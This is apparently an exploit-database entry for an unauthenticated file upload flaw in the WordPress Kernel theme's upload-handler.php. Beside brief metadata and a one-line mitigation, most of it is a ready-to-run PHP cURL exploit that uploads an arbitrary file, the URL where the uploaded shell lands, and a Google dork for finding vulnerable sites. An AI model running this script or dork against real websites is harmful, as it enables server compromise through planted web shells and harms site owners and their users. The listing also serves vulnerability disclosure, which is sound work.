WordPress themekernel-theme Themes Remote File Upload Vulnerability

vendor:

Kernel-theme

by:

iskorpitx

7,5

CVSS

HIGH

Remote File Upload Vulnerability

434

CWE

Product Name: Kernel-theme

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows/Linux

2013

WordPress themekernel-theme Themes Remote File Upload Vulnerability

A vulnerability in the WordPress themekernel-theme Themes allows an attacker to upload a malicious file to the server. The vulnerable file is upload-handler.php, which is located in the functions folder of the theme. An attacker can exploit this vulnerability by sending a POST request to the upload-handler.php file with a malicious file attached. The malicious file will be uploaded to the server and can be accessed via the URL http://127.0.0.1/wordpress/wp-content/uploads/2013/11/upload.php

Mitigation:

Ensure that the upload-handler.php file is not accessible to external users and that all uploaded files are scanned for malicious content.

Source

Exploit-DB raw data:

###################################################################################################
# Exploit Title: WordPress themekernel-theme Themes Remote File Upload Vulnerability
# Author: iskorpitx
# Date: 6/11/2013
# Vendor Homepage: http://www.wikmag.com/
# Themes Link: http://themeforest.net/item/kernel-premium-wordpress-blog-magazine-theme-/857077
# Infected File: upload-handler.php
# Category: webapps
# Google dork: inurl:/wp-content/themes/kernel-theme/
# Tested on : Windows/Linux
###################################################################################################

# Exploit


<?php 
$uploadfile="upload.php"; 
$ch = curl_init("http://127.0.0.1/wp-content/themes/kernel-theme/functions/upload-handler.php"); 
curl_setopt($ch, CURLOPT_POST, true); 
curl_setopt($ch, CURLOPT_POSTFIELDS,
        array('orange_themes'=>"@$uploadfile")); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
$postResult = curl_exec($ch); 
curl_close($ch); print "$postResult"; 
?>

http://127.0.0.1/wordpress/wp-content/uploads/2013/11/upload.php




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